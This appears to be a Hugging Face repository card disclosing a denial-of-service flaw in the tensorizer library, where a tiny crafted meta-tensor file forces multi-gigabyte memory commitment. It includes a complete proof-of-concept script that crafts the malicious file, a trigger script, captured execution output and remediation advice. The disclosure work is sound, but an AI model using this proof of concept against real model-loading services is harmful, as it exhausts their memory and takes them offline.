You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Uncontrolled memory allocation via meta-tensor shape: forced eager zero-fill in TensorDeserializer (CWE-789 / CWE-400 DoS)

Target: tensorizer (coreweave/tensorizer) Affected version verified: 2.12.1 (PyPI, unpatched, no source modification) Environment used for verification: torch 2.12.1+cpu, numpy 2.5.1, Python 3.13, Linux Vulnerable file: tensorizer/serialization.py Class: CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption (Denial of Service) Attack surface: deserialization of an untrusted .tensors model file (the primary use case of TensorDeserializer).


Summary

A crafted tensorizer model file that declares a single META tensor (data version 4, "metadata-only" tensor) with an attacker-chosen, unbounded shape forces TensorDeserializer to eagerly allocate AND zero-fill a CPU buffer whose size is itemsize * prod(shape). Because the on-disk data_length for a meta tensor is 0, the declared size is taken entirely from the metadata shape field β€” there is no bound and no relationship to the actual file size. The crafted file is a few hundred kilobytes on disk yet drives multi-gigabyte real (committed) RAM usage, sustained memory thrash, or a hard OOM/crash depending on the declared shape.

Amplification measured: a 262,302-byte file commits 7.685 GiB of physical RAM (~30,000x).


Root cause

Meta-tensor size is derived purely from the attacker-controlled shape when data_length == 0 (serialization.py, TensorEntry.deserialized_length, lines 226-232):

@property
def deserialized_length(self):
    if self.data_length > 0:
        return self.data_length
    element_size: int = numpy.dtype(self.dtype).itemsize
    num_elements: int = numpy.prod(self.shape)     # <-- attacker-controlled, unbounded
    return element_size * num_elements

In the per-tensor bulk-load loop (serialization.py, TensorDeserializer._bulk_load, lines 3135-3153):

needed_buffer_size = tensor_sizes_by_name[header.name]      # == deserialized_length
is_meta = needed_buffer_size > 0 and header.data_length == 0
assert is_meta or needed_buffer_size == header.data_length
...
# Not in CUDA, no pinned memory. Allocate a new buffer for each tensor
buffer_tensor = torch.empty(
    (needed_buffer_size,), device="cpu", dtype=torch.uint8
)
if is_meta:
    buffer_tensor.zero_()          # <-- forces REAL physical commitment
mv: memoryview = buffer_tensor.numpy().data.cast("B")

Why the is_meta branch is the genuine exhaustion primitive:

  • torch.empty((needed_buffer_size,), ...) on its own is lazy β€” it reserves uncommitted virtual address space, so RSS does not grow. (This is exactly why the ordinary data_length path is harmless: readinto writes only the bytes actually present in the file.)
  • The is_meta branch then calls buffer_tensor.zero_(), which writes zeros across the entire buffer, faulting in every page and forcing real physical commitment of itemsize * prod(shape) bytes.

A torch meta-device tensor of any shape costs zero real memory to construct and serialize, so the attacker can declare an arbitrarily large shape in a tiny file. lazy_load defaults to False, so a plain TensorDeserializer(path, device="cpu") bulk-loads (and thus zero-fills) every tensor at construction time β€” no explicit indexing required to trigger the commit.


Proof of Concept

All three PoC files are included in this repo.

Craft β€” make_meta.py (uses the genuine, unmodified TensorSerializer)

import sys, os, torch
from tensorizer import TensorSerializer
from tensorizer.serialization import TensorType

elements = int(sys.argv[1])            # float32 elements; declared bytes = elements*4
out = sys.argv[2]

# meta-device tensor allocates NO real memory regardless of shape
t = torch.empty((elements,), dtype=torch.float32, device="meta")
print("is_meta:", t.is_meta, "shape:", tuple(t.shape), "declared_bytes:", elements*4, flush=True)

ser = TensorSerializer(out)
ser.write_tensor(0, "evil", TensorType.PARAM, t)
ser.close()
print("file_size_on_disk:", os.path.getsize(out), flush=True)

python make_meta.py 2000000000 evil_meta_8gib.tensors -> declares 8,000,000,000 bytes, produces a 262,302-byte file.

Trigger β€” load_child.py (default load path, RSS instrumented)

import sys, os, resource, threading, time
import torch
from tensorizer import TensorDeserializer

path = sys.argv[1]
# ... /proc/self/status VmRSS peak monitor thread ...
d = TensorDeserializer(path, device="cpu")   # lazy_load defaults False -> bulk-load now
tensor = d["evil"]
print("loaded shape:", tuple(tensor.shape), "nbytes:", tensor.element_size()*tensor.nelement())
print("first/last elem:", float(tensor.view(-1)[0]), float(tensor.view(-1)[-1]))  # proves real+zeroed

Included PoC artifact: evil_meta_8gib.tensors (262,302 bytes; sha256 279c2ef6e8530a4714ccbe2f179fad56ef6079bda1e1d223c2b893345ca213f1).


Captured evidence (verbatim, real execution this session)

$ python load_child.py evil_meta_8gib.tensors
baseline_rss_kb: 241404
loaded shape: (2000000000,) nbytes: 8000000000
first/last elem: 0.0 0.0
elapsed_s: 5.995
peak_rss_kb: 8058696
peak_rss_gib: 7.685

--- negative control (torch lazy-vs-zero_) ---
start MiB 218
after empty(8GB) MiB 218        # lazy torch.empty == the dismissed data_length path
after zero_() MiB 7849          # is_meta branch forces real commit

--- 40 GB refusal (upper bound) ---
baseline_rss_kb: 241360
EXCEPTION: RuntimeError [enforce fail at alloc_cpu.cpp:127] err == 0. DefaultCPUAllocator: can't allocate memory: you tried to allocate 40000000000 bytes. Error code 12 (Cannot allocate memory)
elapsed_s: 0.084

--- craft (genuine TensorSerializer) ---
is_meta: True shape: (2000000000,) declared_bytes: 8000000000
file_size_on_disk: 262302

Additional observed points:

  • 8 GB file (262,302 bytes on disk): peak RSS 7.685 GiB, ~6 s, elements read back as 0.0 (buffer is real and zeroed). Amplification ~30,000x.
  • 28 GB file (262,306 bytes) on a 31 GiB no-swap host: sustained memory-pressure/thrash; process had to be killed after a >2 min hang β€” availability DoS.
  • 40 GB file: clean caught RuntimeError from alloc_cpu.cpp (allocator refusal). The value is attacker-tunable across the whole spectrum from silent multi-GB commit up to hard OOM/crash.

Negative control (isolates the distinguishing cause)

In a single process, torch.empty((8e9,), uint8) leaves RSS flat at 218 MiB (lazy β€” exactly the behavior that made the data_length variant a NEGATIVE result), then .zero_() on the same tensor jumps RSS to 7,849 MiB. This proves the is_meta .zero_() β€” not the torch.empty allocation itself β€” is what turns a declared shape into committed physical memory.


Impact

Loading a small untrusted .tensors file with the default TensorDeserializer API commits attacker-controlled amounts of physical RAM. Depending on the declared shape this yields silent multi-GB memory commitment, sustained thrash/hang, or an OOM condition β€” a denial of service on any service that deserializes user-supplied tensorizer files (e.g. model-loading pipelines).

Suggested remediation

  • Validate deserialized_length (i.e. itemsize * prod(shape)) against a configurable ceiling and/or against available memory before allocating the buffer for a meta tensor.
  • For meta tensors, avoid materializing a real zeroed buffer at all β€” a meta tensor carries no data; construct it on the meta device (or defer allocation) instead of torch.empty(...).zero_().
  • Reject files whose declared meta-tensor size is wildly disproportionate to the file size.

Dedup note (distinct from all prior tensorizer work)

  • Prior FILED bug β€” EnigmaConsultant/tensorizer-unbounded-alloc (private) / huntr-r3-tensorizer (public): bytearray(header_len) eager allocation in _TensorHeaderDeserializer.from_io (line 646) β€” a different field (header_len, uint64), different function, different mechanism (bytearray zero-fill).
  • Prior NEGATIVE β€” per-tensor data_length (fresh-sweep-tensorizer/datalen-poc): dismissed because that path uses lazy torch.empty with no zeroing (readinto writes only the file's actual bytes).
  • THIS bug is driven by the metadata shape (numpy.prod(shape) * itemsize) of a version-4 META tensor with data_length == 0, and reaches the is_meta branch at serialization.py line 3150 that calls buffer_tensor.zero_(), forcing real commitment β€” the exact factor the data_length negative lacked. Different field (shape dims), different code path (meta/hollow branch), different mechanism (forced .zero_()).

No known CVE covers the meta-tensor shape path. No HF repo (public or private) covers it.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support